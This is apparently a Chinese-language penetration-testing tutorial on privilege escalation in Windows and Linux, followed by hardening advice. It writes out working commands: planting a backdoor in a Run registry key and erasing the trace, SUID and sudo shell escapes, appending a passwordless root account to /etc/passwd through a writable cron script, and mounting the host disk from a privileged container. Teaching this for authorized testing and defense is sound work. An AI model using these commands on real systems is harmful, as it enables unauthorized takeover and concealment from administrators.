渗透测试中的提权漏洞:从低权限到系统控制的全解析
作为一名天天和权限打交道的一线渗透测试工程师,我经常遇到这样的情况:费尽心思拿下了一个webshell,结果发现是
www-data或IUSR这种低权限账户,想读个敏感文件都提示"拒绝访问"。这时候就需要提权了。
一、提权到底是什么
简单来说,提权就是把一个普通用户(比如Windows的普通账号、Linux的www-data)的权限,提升到系统最高权限(Windows的SYSTEM、Linux的root)。没有提权,渗透测试就只能停留在表面,无法真正评估系统的安全性。
在实际工作中,我遇到的提权漏洞主要分两类:
- 本地提权漏洞:我现在的低权限账户在本地利用系统缺陷提升权限
- 远程提权漏洞:直接远程获取高权限(如永恒之蓝),但这类漏洞现在越来越难碰到了
实战经验 :不要总想着找一个"一击必杀"的0day,真正的渗透测试中,配置类漏洞的检出率远高于内核漏洞。
二、Windows系统提权实战
2.1 服务权限配置错误(我最爱用的"捡漏"漏洞)
这是什么:Windows服务需要以特定账户运行(通常是SYSTEM)。如果管理员把服务的可执行文件权限设置成"Everyone可修改",那就等于给我们开了一扇门。
实战案例 :有次渗透某政府网站,拿下一个Tomcat权限,发现MySQL服务的mysqld.exe文件权限竟然是Everyone可写。我直接替换成添加管理员账户的恶意程序,等服务器重启后,MySQL服务自动以SYSTEM权限执行了我的程序,直接拿下服务器权限。
排查思路:
cmd
# 查看所有服务的可执行文件路径
sc query type= service state= all | findstr "NAME PATH"
# 或用AccessChk批量检测
accesschk.exe -uwcqv "Everyone" *
利用步骤:
- 找到可被当前用户修改的服务文件
- 备份原文件,替换成恶意程序(保持同名)
- 重启服务(
sc restart 服务名)或等待系统重启 - 获得SYSTEM权限
注意事项 :选择非核心业务、启动频率低的服务,避免服务无法启动被管理员发现。
2.2 注册表键值劫持
这是什么 :Windows启动时会读取注册表中的Run、RunOnce等键值,以SYSTEM权限执行指定的程序。如果这些键值可被普通用户修改,我们就可以"劫持"系统启动流程。
实战场景 :某次内网渗透,发现一台Server 2008的HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run键值权限配置错误,普通用户可以写入。我在键值中添加了恶意程序路径,第二天管理员登录时,程序自动以SYSTEM权限执行,成功提权。
常用劫持位置:
Run:系统启动自动执行RunOnce:启动执行一次后自动删除(更隐蔽)Winlogon:用户登录时执行
利用命令:
cmd
# 添加恶意程序到启动项
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v SecurityScan /t REG_SZ /d "C:\temp\backdoor.exe"
# 提权后删除痕迹
reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v SecurityScan /f
2.3 内核漏洞提权(需要碰运气的)
CVE-2021-1732(Win32k提权)
适用版本:Windows 10 1903-20H2、Server 2019对应版本
实战流程:
systeminfo查看补丁,确认未安装KB5000802- 上传适配的EXP(注意32位/64位区别)
- 执行EXP,获得SYSTEM shell
血泪教训 :一定要确认系统版本和EXP的兼容性,不然很容易蓝屏。在正式环境测试前,最好先和客户确认是否可以接受可能的重启。
CVE-2025-24076(Windows 11 DLL劫持)
适用版本:启用"移动设备"功能的Windows 11(未安装2025年3月补丁)
利用特点 :攻击窗口只有300毫秒,需要用到机会锁技术控制替换时机。这个漏洞告诉我们:系统的新功能往往也是新的攻击面。
2.4 DLL劫持提权(通用型)
原理:软件加载DLL时按顺序搜索(当前目录→System32→PATH),如果搜索路径可写,我们就能植入恶意DLL,让高权限程序加载。
实战排查:
- 用Process Monitor监控程序启动时加载的DLL
- 找未使用绝对路径的DLL
- 确认当前目录或PATH目录可写
关键点 :恶意DLL要保留原DLL的功能,避免程序崩溃。优先选无数字签名校验的软件。
三、Linux系统提权实战
3.1 SUID/SGID权限滥用(Linux版"捡漏王")
这是什么:SUID文件允许普通用户临时获得文件所有者的权限。如果root用户的文件设置了SUID且可被利用,我们就可能获得root权限。
实战案例 :某次渗透测试,发现目标系统上find命令竟然设置了SUID(权限为-rwsr-xr-x)。直接执行:
bash
find / -name test -exec /bin/bash \;
# 或者用AutoSUID自动化检测
瞬间获得root shell。事后分析,是管理员为了方便备份,给find加了SUID。
高危SUID文件清单:
find:可通过-exec执行命令bash:执行/bin/bash -p获得root shellcp:可复制/etc/shadow/usr/bin/env:可通过env /bin/sh执行shell
排查命令:
bash
# 查找所有SUID文件
find / -perm -u=s -type f 2>/dev/null
# 查找root用户的SUID文件
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
3.2 sudo配置错误
常见错误配置(在实际环境中屡见不鲜):
bash
# 允许用户无需密码执行所有命令(这是最离谱的)
testuser ALL=(ALL) NOPASSWD: ALL
# 允许执行高危命令
testuser ALL=(ALL) NOPASSWD: /bin/bash, /usr/bin/python
利用方式:
bash
# 查看当前用户可执行的sudo命令
sudo -l
# 如果发现可以执行bash
sudo /bin/bash
# 如果发现可以执行python
sudo python -c 'import os; os.system("/bin/bash")'
CVE-2025-32463(Sudo版本漏洞)
适用版本:sudo 1.9.14-1.9.17
利用思路 :滥用--chroot选项劫持共享库加载,无需sudo权限即可提权。提醒我们:不仅要关注系统漏洞,还要关注工具本身的漏洞。
3.3 内核漏洞:CVE-2022-0847(Dirty Pipe)
适用版本:Linux内核5.8-5.16.11、5.15.25、5.10.92及以下
和脏牛的区别:利用更简单,无需ROP、无需知道内核基址,不会导致系统崩溃。
实战流程:
bash
# 检查内核版本
uname -r
# 执行EXP(会修改/etc/passwd添加root用户)
./dirtypipe
# 用新添加的用户登录
su newuser
原理 :利用pipe机制的内存未初始化缺陷,修改只读文件内容。这告诉我们:即使是最基础的系统机制,也可能存在致命漏洞。
3.4 计划任务(Cron)漏洞
常见错误配置:
- Cron执行的脚本权限为777(所有人都可写)
- 使用相对路径(如
./backup.sh) - 脚本中调用命令未用绝对路径
实战案例 :发现/etc/crontab中有一条root执行的备份任务:*/5 * * * * root /home/user/backup.sh,而backup.sh权限是-rwxrwxrwx。直接追加提权代码:
bash
echo "echo 'hack::0:0:::/bin/bash' >> /etc/passwd" >> /home/user/backup.sh
5分钟后,root权限执行脚本,直接添加了root用户。
3.5 其他实用场景
/etc/passwd文件可写
bash
# 检查权限
ls -l /etc/passwd
# 如果可写,直接添加root用户(密码需加密)
echo "hack:加密密码:0:0:hack:/root:/bin/bash" >> /etc/passwd
su hack
Docker容器逃逸
bash
# 检查是否为特权模式
docker inspect --format '{{.HostConfig.Privileged}}' 容器ID
# 如果是true,挂载宿主机磁盘
mount /dev/sda1 /mnt
chroot /mnt
四、我的日常防御实践
作为渗透测试工程师,我不仅要知道怎么"攻",更要懂得怎么"防"。以下是我给客户做安全加固时必提的建议:
4.1 权限最小化原则(最核心的防御)
Windows系统:
- 检查服务权限:
Everyone、Users组不应该有修改权限 - 注册表关键键值(Run、RunOnce)只允许管理员写入
- 软件目录禁止普通用户写入
Linux系统:
- 定期检查SUID/SGID文件,删除不必要的SUID权限
- 严格控制sudo配置,禁止普通用户执行高危命令
- Cron任务脚本权限设为700,禁止普通用户修改
- 敏感文件(
/etc/passwd、/etc/shadow)设为644或600
4.2 及时更新(不要成为漏洞的活靶子)
- 建立补丁管理流程,每月定期更新系统补丁
- 关注高危漏洞公告(如Dirty Pipe、CVE-2021-1732)
- 不要使用已停止维护的系统(Win Server 2003、CentOS 6)
4.3 安全审计(发现异常才能阻止入侵)
- 启用Windows注册表审计、Linux的auditd
- 监控敏感操作:修改服务、添加启动项、修改
/etc/passwd - 定期查看日志,发现异常行为及时排查
4.4 减少攻击面
- 关闭不必要的系统服务
- 卸载未使用的软件
- 禁用不必要的系统功能(如Windows的"移动设备"功能)
五、总结与思考
在我从事渗透测试的这些年里,我发现一个规律:真正的安全隐患往往不是0day,而是那些看似"不重要"的配置错误。
- 服务权限配置错误 、SUID滥用 、sudo配置不当------这些"配置类漏洞"占了提权漏洞的60%以上
- 而内核漏洞虽然"看起来很厉害",但在实际环境中的检出率反而不高
所以我的建议是:做渗透测试时,先从最简单的配置类漏洞开始排查;做系统加固时,先把基础权限配置规范好。这样不仅能发现最多的问题,也能防范最多的攻击。
最后想说的是,安全不是一劳永逸的事,需要持续关注、持续改进。希望这篇文章能帮助你在渗透测试中少走弯路,也能在日常运维中更好地保护你的系统。
文中提到的工具和方法仅供授权的安全测试使用,请勿用于非法用途。